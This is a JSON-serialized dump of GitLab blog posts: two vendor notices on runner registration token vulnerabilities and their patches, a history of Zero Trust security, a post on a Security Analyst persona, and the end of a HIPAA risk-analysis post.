visibility where\nit didn’t exist previously is a good thing. And having that visibility incorporated directly into\nyour development process with minimal work and seamless integration is even better.\n\nWith GitLab’s security features you can incorporate automated vulnerability detection straight\ninto your development process. While the risk analysis requirement goes beyond just the software\nyou’re writing, as you write more code faster, automating part of the software security portion can only help.\n\n### Disclaimer\n\nTHE INFORMATION PROVIDED ON THIS WEBSITE IS TO BE USED FOR INFORMATIONAL PURPOSES ONLY. THE INFORMATION SHOULD NOT BE RELIED UPON OR CONSTRUED AS LEGAL OR COMPLIANCE ADVICE OR OPINIONS. THE INFORMATION IS NOT COMPREHENSIVE AND WILL NOT GUARANTEE COMPLIANCE WITH ANY REGULATION OR INDUSTRY STANDARD. YOU MUST NOT RELY ON THE INFORMATION FOUND ON THIS WEBSITE AS AN ALTERNATIVE TO SEEKING PROFESSIONAL ADVICE FROM YOUR ATTORNEY AND/OR COMPLIANCE PROFESSIONAL.\n{: .note}\n\nCover image by [rawpixel.com](https://www.pexels.com/@rawpixel?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/clinician-writing-medical-report-1919236/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[14,1573,818],{"slug":5124,"featured":6,"template":677},"gitlab-security-tools-and-the-hipaa-risk-analysis","content:en-us:blog:gitlab-security-tools-and-the-hipaa-risk-analysis.yml","Gitlab Security Tools And The Hipaa Risk Analysis","en-us/blog/gitlab-security-tools-and-the-hipaa-risk-analysis.yml","en-us/blog/gitlab-security-tools-and-the-hipaa-risk-analysis",{"_path":5130,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5131,"content":5136,"config":5140,"_id":5142,"_type":16,"title":5132,"_source":17,"_file":5143,"_stem":5144,"_extension":20},"/en-us/blog/group-runner-registration-token-vulnerability",{"title":5132,"description":5133,"ogTitle":5132,"ogDescription":5133,"noIndex":6,"ogImage":1381,"ogUrl":5134,"ogSiteName":767,"ogType":768,"canonicalUrls":5134,"schema":5135},"Group Runner Registration Token Vulnerability","How we responded to a vulnerability in group runner registration tokens.","https://about.gitlab.com/blog/group-runner-registration-token-vulnerability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Group Runner Registration Token Vulnerability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kathy Wang\"}],\n        \"datePublished\": \"2019-04-10\",\n      }",{"title":5132,"description":5133,"authors":5137,"heroImage":1381,"date":5120,"body":5138,"category":14,"tags":5139},[5081],"\n\nIn keeping with GitLab’s [value of transparency](https://handbook.gitlab.com/handbook/values/#transparency) we believe in communicating potential and confirmed security incidents clearly and promptly.  GitLab takes the security and privacy of your data extremely seriously. We will always take the most expedient and effective action to prevent and mitigate security risks, and will strive to use those lessons learned to improve our security posture and protect customer data.\n\n### Background\n\nOn April 5, 2019 we received a submission through our public HackerOne program by [storm_spirit](https://hackerone.com/storm_spirit) describing a vulnerability which exposed Group Runner Registration Tokens. Although there is no evidence to suggest that any projects on GitLab.com have been accessed in an unauthorized manner, we took the action to reset all group registration tokens on GitLab.com earlier this week. For GitLab.com customers, no further action is required. For self-managed customers, please see the Action Required section below for further instructions.\n\n### Response and mitigation\n\nFollowing analysis of the vulnerability and impacted areas of GitLab, a patch was deployed to GitLab.com on April 8, 2019 and between 09:00 - 09:40 UTC and the Group Runner Registration Tokens were reset for all groups hosted on GitLab.com.  The results of this deployment allowed us to validate the fix and confidently include it as part of the [GitLab Enterprise Edition (EE) 11.9.7, 11.8.7, and 11.7.11 critical security releases](/releases/2019/04/10/critical-security-release-gitlab-11-dot-9-dot-7-released/).\n\nIn parallel to the analysis, an investigation found no evidence to suggest any projects on GitLab.com had been compromised as a result of this vulnerability. We will continue to monitor for any related impact on GitLab.com.\n\n### Action Required\n\nWe strongly recommend all self-managed instances of GitLab Enterprise Edition to be upgraded to 11.9.7, 11.8.7, or 11.7.11 to resolve this vulnerability.\n\nSelf-managed instances of GitLab Community Edition are not affected by this vulnerability and no further action is required.\n\nGitlab.com users are no longer at risk to the vulnerability following the April 8th patch and no action is required. If you are experiencing issues with Runners related to Registration Tokens, we encourage you to review our [Runner documentation](https://docs.gitlab.com/ee/ci/runners/) or contact [GitLab Support](https://support.gitlab.com) for further assistance.\n",[14],{"slug":5141,"featured":6,"template":677},"group-runner-registration-token-vulnerability","content:en-us:blog:group-runner-registration-token-vulnerability.yml","en-us/blog/group-runner-registration-token-vulnerability.yml","en-us/blog/group-runner-registration-token-vulnerability",{"_path":5146,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5147,"content":5153,"config":5158,"_id":5160,"_type":16,"title":5161,"_source":17,"_file":5162,"_stem":5163,"_extension":20},"/en-us/blog/evolution-of-zero-trust",{"title":5148,"description":5149,"ogTitle":5148,"ogDescription":5149,"noIndex":6,"ogImage":5150,"ogUrl":5151,"ogSiteName":767,"ogType":768,"canonicalUrls":5151,"schema":5152},"The evolution of Zero Trust","Zero Trust may be one of the hottest topics in security today, but it's not exactly new. Here's a history.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664096/Blog/Hero%20Images/evolution-of-zero-trust.jpg","https://about.gitlab.com/blog/evolution-of-zero-trust","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The evolution of Zero Trust\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-04-01\",\n      }",{"title":5148,"description":5149,"authors":5154,"heroImage":5150,"date":5155,"body":5156,"category":14,"tags":5157},[1909],"2019-04-01","\nUpdate: This is part 1 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next post: [Zero Trust at GitLab: Problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges/).\n{: .alert .alert-info .note}\n\nI was not at the 2019 [RSA Conference](https://about.gitlab.com/events/rsa/) this year, so I asked my friends and colleagues what it was like and if they enjoyed themselves.\nNearly every person mentioned the phrase \"Zero Trust Networking\" during their recounting of events, and the vast majority of them seemed worn down with the phrase by the end of the conference.\nSeveral mentioned it was the \"hot topic\" – the term ‘Zero Trust’ actually made the RSAC Buzzwords Top 3 list.\nI have a few thoughts on the subject, because it is a solid way to move forward in the security realm, but I also wanted to remind people that this is not some new thing that came up this year – this is a concept whose roots stretch back a few decades.\nI also wanted to point out that Zero Trust will not end attacks, as attacks never end.\n\nThis is the first of a series of blog posts from the security team here at GitLab explaining Zero Trust and how we are tackling it.\nBut for these discussions to make sense, we need to show some perspective, so first, a bit of a history lesson.\nThere were three major shifts that brought about Zero Trust, all building upon each other.\nLet’s cover them, one by one.\n\n## First shift: Death of the perimeter\n\nBack in the early days of the internet, if you wanted to attack a target network, you would do a bit of reconnaissance and discover things like hostnames and IP ranges.\nYou would probe, find the available services on these target hosts, then begin trying to compromise them.\nThis was because the individual host systems were fairly wide open.\nSystem administrators needed a way to limit access to the servers and workstations under their control, while allowing legitimate access to users. Remote workers were rare, as the bulk of users were in an office building together.\nSo the [network firewall](https://en.wikipedia.org/wiki/Firewall_(computing)) was born in the early 1990s, restricting access between an organization’s internal network and the internet.\n\nAttackers were accustomed to [port scanning](https://en.wikipedia.org/wiki/Port_scanner) the target, finding the various services, and taking their pick of which service to attack.\nTo adapt to the newly installed firewall, attackers began to focus on the services that were allowed through the firewall. Back then, [organizations still controlled their own servers](https://en.wikipedia.org/wiki/DMZ_(computing)), running things like DNS, email, and web services.\nThese types of common services required holes be punched in the firewall to allow legitimate traffic to them, and so the attackers simply came in with the legitimate traffic.\n\nAt the same time, desktop operating systems and corporate applications began to move toward interacting and sharing information with each other, and as system administrators felt a level of control with the firewall, no one really pushed back very hard against these various operating systems and their noisy applications.\nIn fact, using those same firewall rules, it was possible to allow customers, business partners, and vendors a bit more access to the precious internal network by creating large holes to allow the access.\nThis meant if the attacker could figure out who your trusted partners were, they could compromise them and then come in through the large hole created for those same trusted partners.\n\n>This meant if the attacker could figure out who your trusted partners were, they could compromise them and then come in through the large hole created for those same trusted partners.\n\nIt became common knowledge that once an attacker got a foothold into that internal network, it was usually quite easy to move about within the organization.\nThe attackers adapted. The firewall lost a lot of its value, and to many attackers it became meaningless.\n\nI remember meeting [Bill Cheswick](https://en.wikipedia.org/wiki/William_Cheswick) (one of those early pioneers that helped bring about the firewall) at a security conference, and I was able to corner him and talk shop.\nSomething both of us gravitated towards was this concept of how the infamous \"network perimeter\" was basically an illusion.\nIt _could_ work, but not without changing a serious amount of tech to make it happen.\nHow did each of us secure our respective home systems?\n[Hardening each system individually](https://en.wikipedia.org/wiki/Bastion_host), and just eliminating the concept of the perimeter.\nSure, we both kept a perimeter, but it was maintained with a few router rules, and was more like a white picket fence than a castle wall. To us, the network perimeter was dead.\n\n>Sure, we kept a perimeter, but it was more like a white picket fence than a castle wall. To us, the network perimeter was dead.\n\nThis was a common topic among security practitioners and network administrators at the time, all of us discussing and arguing the fine points the same way Cheswick and I did.\nWe needed some way to deal with the attacker since the perimeter was dead or dying.\nThe concept of Zero Trust networking was born.\nThis started as rumblings during the early 2000s and came into an actual concept of sorts through the [Jericho Forums](https://en.wikipedia.org/wiki/Jericho_Forum) in 2004, and by 2010 or so it even had a name.\nBut I am getting ahead of myself. Other things were happening.\n\n## Second shift: The cloud\n\nGetting [slashdotted](https://en.wikipedia.org/wiki/Slashdot_effect).\n[Distributed denial of service attacks](https://en.wikipedia.org/wiki/Denial-of-service_attack).\nJust not having the bandwidth on your internet-connected web server in your data center to handle the traffic.\nThis internet thing was really taking off, and the World Wide Web was driving it.\n A few companies figured out clever ways to provide server services for organizations all over the globe, and were known as [Content Distribution Networks](https://en.wikipedia.org/wiki/Content_delivery_network) (CDNs), and CDNs gave these organizations a way to upload web content to these servers.\n Even though content might be replicated across the CDN’s dozens of data centers world wide, it was one single entity as far as a typical website visitor was concerned.\n\nNot only could you upload your corporate web server to the CDNs, after a while you could basically pay for virtual servers that you could use for any purpose.\nAs web servers developed and web apps become more ambitious, some companies offered up their services to other companies, some even broke out of the \"web app\" mold and began to offer robust services that replaced desktop applications.\n\n### [The cloud](https://en.wikipedia.org/wiki/Cloud_computing) had arrived.\n\nNot everyone liked the cloud, in fact many organizations were quite resistant to it at first. Others immediately saw the value in it and moved everything to the cloud.\n\nAttackers did what they did best: they adapted. People new to the cloud would often get permissions wrong and expose sensitive data.\nAny bad coding practices they had before the cloud were just uploaded anyway as the cloud didn’t magically fix bugs.\nMoving poorly-coded services in the cloud meant even more holes in firewalls if old legacy data was still stored “on prem”.\nHowever, more often than not it meant these services and the insecure methods used to reach its data was simply moved up to the cloud, sometimes with even more exposure.\nAttackers got to know how these new technologies worked and understood the flaws that existed in the implementations and kept on compromising systems.\n\nWhile the cloud shift created its fair share of upheaval,  it certainly set the stage for the third major shift.\n\n## Third shift: Mobility\n\nWorking remotely? We'd had dial up networking via modem at first, followed by the infamous VPN.\nAs one might imagine, this was an obvious one that certainly bypassed a firewall on a network perimeter. Knowing usernames and passwords had always been a goal of attackers, and if they managed to obtain that information they could certainly plug it into a VPN for access.\n\n### To help protect the username and password, [Two Factor Authentication](https://en.wikipedia.org/wiki/Multi-factor_authentication) (2FA) came about.\n\nThe infamous RSA token was technology I encountered ages ago, and it was certainly all the rage during the first decade of this century.\nMy first encounter was when using a VPN in the late '90s.\nA decade later when I worked for MITRE, I carried no fewer than four RSA tokens (not unheard of at the time for many organizations!) for not just remote access, but for special access to projects funded by different government agencies.\nYou were outside that perimeter and needed in, but as users and their passwords were considered a security risk for any number of reasons (poor password hygiene, easily-fooled help desk personnel responsible for resets, etc.), this direct and open exposure of the internal network via the VPN was too insecure.\nSomething you know (the password) and something you have (that RSA token with its changing six-digit number) made it way more difficult for attackers to get in.\n\nOver 20 years ago, everyone had a desktop machine, but those road warriors that travelled for business would be issued a second system – a laptop.\nThis shifted as it made sense to give all of the employees laptops, and the more expensive desktop systems were only issued by those doing specific jobs that required the extra desktop horsepower.\n\nThe phone also helped push forward the mobility concept, as it expanded from a telephone with internet access to a small internet-connected computer loaded with cloud-based apps that also works as a telephone.\n\n### We became mobile.\n\nEither through SMS messaging, an \"authentication app\" that did TOTP, or a full-fledged 2FA app that supported push technology, the phone became the \"something you have\" and essentially killed the old RSA token.\nAnd of course something else happened with all this mobility, it increased the ability for one to work from anywhere.\nMost of those \"Whatever as a Service\" apps were using web-based protocols to communicate to their Cloud presence, and we'd figured out how to log a person in and do 2FA ages ago.\nThere was no need for a perimeter for the basic end user in an organization.\n\nThis was a slow build to a large upheaval in information security.\nBut what really drove home the big security issues of this brave new world was an event.\nThe culmination of our three major shifts – a teaching moment, as they say.\n\n## The big teaching moment\n\nWhat was the big teaching moment?\n\n### The obvious answer everyone talks about is [Operation Aurora](https://en.wikipedia.org/wiki/Operation_Aurora).\n\nThis was the breach at Google that got them to take a look at this whole Zero Trust thing, build their version of it called [BeyondCorp](https://cloud.google.com/beyondcorp/), and begin to implement it internally.\nIn 2014 Google began to publish information about it.\n\nGoogle had been targeted by [PLA Unit 61398](https://en.wikipedia.org/wiki/PLA_Unit_61398).\nI recognized PLA Unit 61398 from my defense contractor days as “Comment Crew,” as one of their backdoor programs that would make innocent-looking web queries to a Comment-Crew-controlled web server, and obfuscated comments in the HTML returned to the backdoor were actually commands for the backdoor to carry out.\nThey targeted a lot of organizations from large corporations to defense contractors to U.S. government agencies.\n\nThe press at the time had a lot of quotes from security experts pooh-poohing the whole [Advanced Persistent Threat](https://www.fireeye.com/current-threats/apt-groups.html) (APT) thing, claiming that APT attacks weren’t sophisticated as the \"advanced\" part of APT implied.\nHowever, most of these people had either never played offense, or they didn't deal with APT as a part of daily life.\nI distinctly remember the Google attack because during that same timeframe, Comment Crew’s attack was repeated against my employer and others. We were not breached in that case and we probably called it “a typical Tuesday,” but many naysayers in the security community finally had to admit that APT was in fact real.\n\n### But a _huge_ teaching moment was the [RSA hack in 2011](https://www.wired.com/2011/08/how-rsa-got-hacked/).\n\nAgain, maybe not the most sophisticated of attacks to gain entry ([phishing](https://en.wikipedia.org/wiki/Phishing) email), but it was just enough to gain a foothold.\nOnce inside, they pivoted and managed to compromise RSA in what was one of the worst ways possible.\nPeople argue about exactly what level of compromise they achieved, but in the end the attackers could program up their own tokens to allow bypass of RSA SecurID implementations at RSA customer locations.\n\nOne important point to make here – 2FA was an extremely important protection mechanism for organizations like the U.S. Government and all of its many defense contractors.\nAPT actors targeted things like documents pertaining to research, plans involving various defense technologies, and credentials for regaining access if their intrusion was discovered and the APT actors were shut out.\nSince those credentials were protected by 2FA via RSA SecurID tokens, complete panic ensued. _Millions_ of tokens had to be manufactured, provisioned, and deployed to customers who had to configure their systems and deploy them internally.\nDuring this time all organizations still had to function, and APT-sponsored attacks against targets that took advantage of the stolen RSA technology began to appear.\n\nThe basic corporate network at the time was still mainly perimeter-based, even though their perimeter was full of holes, allowing everything from remote users to trusted vendors, partners, and customers.\n\n> The cloud was there, but many companies had their feet in both worlds.\n\nThe cloud was there, but many companies had their feet in both worlds. They would often make architectural choices on technology based upon getting systems to just talk to each other and allow data access _without_ fully considering security issues.\nThe user population was increasingly mobile and, by its very nature, was pushing solutions to the absolute limit.\nAnd now, the one thing that at least protected access to it all – a layered security approach to credentials – was compromised.\n\n## Enter Zero Trust\n\nBeyondCorp was Google’s answer to the threat they faced – a sophisticated adversary that took advantage of their employees and gained privileged access to sensitive assets.\nGoogle published a lot of the material they developed, thinking it would help others deal with the same situation.\nFor those of us in the more threatened world of government agencies and government contractors, we didn’t give Google’s BeyondCorp a second thought.\nWe had defenses, we’d learned how to deal with these type of attackers, we’d even dealt with Comment Crew ourselves and could keep them at bay.\n\nThe RSA breach was a different scenario. An area of trust – 2FA – was completely compromised.\nRSA didn’t run out and build BeyondCorp, but it certainly inspired a large number of people to start looking for answers, and Zero Trust really began to check many of the boxes to add in the protections we needed.\nIn essence, the RSA event gave us a reason to implement Zero Trust.\nWe needed more than 2FA, more than inventory control, more than patch management, we needed to be able to establish a trusted environment and could not with the way things were.\n\n### Essentially, it boils down to this: Zero Trust assumes you do not trust the user nor the user’s device.\n\nThe user has to prove that they are who they say they are and that they meet policy requirements to perform the actions they are wanting to perform.\nThe device has to prove that it is what is says it is, including patch levels.\nEven automated processes such as systems that communicate between each other have to prove themselves as well.\nThe transaction should be valid and the processes are allowed to perform the actions they are performing.\nThis means any information in transition needs to be encrypted using secure algorithms, all transactions are signed and signatures validated, and there is a secure audit trail to ensure all parts of the operation can be examined.\n\n### Are we there yet with Zero Trust?\n\nNo. In fact, the hard part isn’t so much the implementation of it, it is getting it implemented everywhere. Most Zero Trust solutions address a lot of the concerns of the past, but they are not perfect by any means.\nMany organizations will be living in “mixed” environments of old and new for quite a while.\nThe applications that implement the raw components of Zero Trust need to be secure.\nThere will be various policy decisions on how to act on various accesses and requests involving users, devices, services, and data that if not properly defined could result in the wrong employee gaining access to sensitive material.\nAnd of course we will always face a clever adversary trying to bypass, break, and compromise whatever security controls are put in place.\n\nAt least with Zero Trust, we have a leg up. In the forthcoming [series of blog posts](/blog/tags.html#zero-trust), we’ll share GitLab’s story with Zero Trust.\nGitLab is a cloud native, all-remote company with employees from more than 50 countries.\nWe also strive to be as open as we can be about how we work.\n\nWe invite you to follow our journey and contribute your thoughts, questions and experiences around Zero Trust along the way.\n\nPhoto by [Matthew Henry](https://unsplash.com/photos/fPxOowbR6ls?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/security?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[675,14,2132],{"slug":5159,"featured":6,"template":677},"evolution-of-zero-trust","content:en-us:blog:evolution-of-zero-trust.yml","Evolution Of Zero Trust","en-us/blog/evolution-of-zero-trust.yml","en-us/blog/evolution-of-zero-trust",{"_path":5165,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5166,"content":5171,"config":5177,"_id":5179,"_type":16,"title":5180,"_source":17,"_file":5181,"_stem":5182,"_extension":20},"/en-us/blog/security-incident-runner-registration-token",{"title":5167,"description":5168,"ogTitle":5167,"ogDescription":5168,"noIndex":6,"ogImage":3760,"ogUrl":5169,"ogSiteName":767,"ogType":768,"canonicalUrls":5169,"schema":5170},"Project runner registration token security update","How we responded to a vulnerability in quick actions for issues that can expose project runner registration tokens to unauthorized users.","https://about.gitlab.com/blog/security-incident-runner-registration-token","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"An update on project runner registration token exposed through issues quick actions vulnerability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kathy Wang\"}],\n        \"datePublished\": \"2019-03-25\",\n      }",{"title":5172,"description":5168,"authors":5173,"heroImage":3760,"date":5174,"body":5175,"category":14,"tags":5176},"An update on project runner registration token exposed through issues quick actions vulnerability",[5081],"2019-03-25","\n\nOn Mar. 20 2019 we released a [critical security release](/releases/2019/03/20/critical-security-release-gitlab-11-dot-8-dot-3-released/) for a vulnerability in quick actions for issues that can expose project runner registration tokens to unauthorized users. This was originally reported to us on Mar. 14, 2019 through our public HackerOne program (identified by [jobert](https://hackerone.com/jobert)).\n\n## Response and mitigation\n\nIn order to mitigate this issue, we developed and applied a patch on GitLab.com on Mar. 17, 2019, and expedited the release of a critical security fix to ensure that both ourselves, and our self-managed customers received a timely mitigation.\n\n### Action required\n\nOn Mar. 24, 2019 we reset runner registration tokens for all projects hosted on GitLab.com. If you are a GitLab.com user, and have automation in place that relies on runner registration tokens, please [have the tokens reset following instructions from the official documentation](https://docs.gitlab.com/ee/ci/runners/#reset-the-runner-registration-token-for-a-project). If you do not have automation in place that relies on running registration tokens, no further action is required on your part.\n\n### Results of investigation\n\nWe have performed an initial investigation and found no evidence to suggest that there has been any security compromise to any project as a result of this issue, but we will continue to investigate and explore ways to help better detect such issues moving forward.\n\nIn keeping with our [company value of transparency](https://handbook.gitlab.com/handbook/values/#transparency) we also believe in communicating about such incidents clearly and promptly. We apologize for the impact this issue may have caused to our users. GitLab takes securing your information and your data extremely seriously. We have significantly grown the size of our internal security team in the last six months, with further plans to grow in 2019 and beyond. We will learn from this incident as we continue to improve upon our security posture even further.\n\nIf you have any questions, please contact us via [support.gitlab.com](https://support.gitlab.com/).\n\n*Updated on March 28, 2019*\nWe are modifying our previous recommendation for users who have automation in place that may have been impacted by the runner registration token reset. The paragraph should read as the following:\n\nOn Mar. 24, 2019 we reset runner registration tokens for all projects hosted on GitLab.com. If you are a GitLab.com user, and have automation in place that relies on runner registration tokens, please make sure that you update the automation script to use the new registration token. If you do not have automation in place that relies on running registration tokens, no further action is required on your part.\n",[14],{"slug":5178,"featured":6,"template":677},"security-incident-runner-registration-token","content:en-us:blog:security-incident-runner-registration-token.yml","Security Incident Runner Registration Token","en-us/blog/security-incident-runner-registration-token.yml","en-us/blog/security-incident-runner-registration-token",{"_path":5184,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5185,"content":5191,"config":5198,"_id":5200,"_type":16,"title":5201,"_source":17,"_file":5202,"_stem":5203,"_extension":20},"/en-us/blog/a-deep-dive-into-the-security-analyst-persona",{"title":5186,"description":5187,"ogTitle":5186,"ogDescription":5187,"noIndex":6,"ogImage":5188,"ogUrl":5189,"ogSiteName":767,"ogType":768,"canonicalUrls":5189,"schema":5190},"A deep dive into the Security Analyst persona","See how we created our new Security Analyst persona, and how we are already putting it to use.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663736/Blog/Hero%20Images/a-deep-dive-into-the-security-analyst-persona.jpg","https://about.gitlab.com/blog/a-deep-dive-into-the-security-analyst-persona","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A deep dive into the Security Analyst persona\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andy Volpe\"}],\n        \"datePublished\": \"2019-02-12\",\n      }",{"title":5186,"description":5187,"authors":5192,"heroImage":5188,"date":5194,"body":5195,"category":14,"tags":5196},[5193],"Andy Volpe","2019-02-12","\nAs GitLab grows, so does our need for new, more area-specific personas. Recently, as part of our [effort to create personas](/blog/personas-and-empathy-building/), I was given a chance to craft one. As the UX designer for [the Secure team](/handbook/engineering/development/sec/secure/) here at GitLab, I jumped at the opportunity to learn more about security professionals, and how we may create products and features to meet their needs. Throughout the entire process, I gained a greater sense of empathy and a deeper understanding of the needs, goals, and pain points of security professionals. The result was our new [Security Analyst Persona, Sam](/handbook/product/personas/#sam-security-analyst). However, I will add a caveat that this is not the end of the process, but the beginning of how we can better support security professionals with new features and functionality that address their specific needs. You can peruse the highlights and the persona itself below, and let us know what you think by tweeting us [@gitlab](https://twitter.com/gitlab)!\n\n## The research\n\nHere are some takeaways from the [10 interviews](https://gitlab.com/gitlab-org/ux-research/issues/97) I conducted to create the Security Analyst persona.\n\nWe’ve learned that the Security Analyst is a bit of a generalist when it comes to their day-to-day tasks. From the research, I found that there isn’t one specific task that defines their day, but a grouping of tasks under the umbrella of security. I’ve written the summary of the persona to reflect the somewhat general nature of the Security Analysts' role:\n\n>\"I wear lots of hats, but the majority of my time is spent monitoring and flagging events, running down high-priority tasks and working with other teams to implement new systems.\"\n\n### What motivates a Security Analyst?\n\nSecurity Analysts strive for order in the chaos and, based on our research, are taking steps to achieve that order. One specific example:\n\n>When I’m monitoring my dashboards, I want to see everything I am monitoring in one tool, so I can do my job easier and more efficiently.\n\nMoving between different tools and dashboards was identified as a significant problem area for Security Analysts. They found it hard to create a workflow that was conducive to remediating security issues while having to work across multiple tools.\n\nAnother motivation I found during the research was that Security Analysts desire to be more proactive than reactive in their work. I’ve summarized this by adding the objective below:\n\n>When security testing, I want to be more proactive than reactive, so I can anticipate potential threats or vulnerabilities before the bad guys do.\n\nBy being more proactive or shifting left in their work, Security Analysts are able to identify and remediate potential vulnerabilities before they become a problem or even lead to an attack.\n\n### What are some of the frustrations Security Analysts have?\n\n>I’m frustrated I don’t have the resources to complete this project to its specifications.\n\nand\n\n>I’m frustrated when I know how to fix a security issue but the red tape at my company doesn’t allow me to in a timely manner.\n\nA common theme seen throughout the research was that of constrained resources and time. Often we found that security teams were small in comparison to other teams within their organization. This resource discrepancy leads to work being done at such a pace that the project can’t be completed to its specifications or in a timely manner.\n\n### How are we using the security Analyst persona at GitLab?\n\nWe are all-in on making the Security Persona a first-class persona here at GitLab. Recently we launched the [Group-level Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/), which allows security professionals to monitor all their projects, in one view, for vulnerabilities, and gives them the ability to take action on those vulnerabilities right from the dashboard itself.\n\nAside from security dashboards, we are constantly dreaming up more security features and enhancements that will help users keep their instances, groups, and projects secure. You can [see our roadmap here](/direction/#future-releases) for more on what's coming.\n\n## The persona\n\n![Sam, Security Analyst persona](https://about.gitlab.com/images/blogimages/security-analyst-persona.png){: .shadow.center}\n\nKeep an eye out for the rest of our series on the [new personas](/handbook/product/personas/)!\n\n[Photo](https://unsplash.com/photos/z55CR_d0ayg) by [Andrew Neel](https://unsplash.com/@andrewtneel) on Unsplash\n{: .note}\n",[2093,675,14,5197,818],"UX",{"slug":5199,"featured":6,"template":677},"a-deep-dive-into-the-security-analyst-persona","content:en-us:blog:a-deep-dive-into-the-security-analyst-persona.yml","A Deep Dive Into The Security Analyst Persona","en-us/blog/a-deep-dive-into-the-security-analyst-persona.yml","en-us/blog/a-deep-dive-into-the-security-analyst-persona",26,[684,703,722,740,760,783,805,825,846],1753475285956]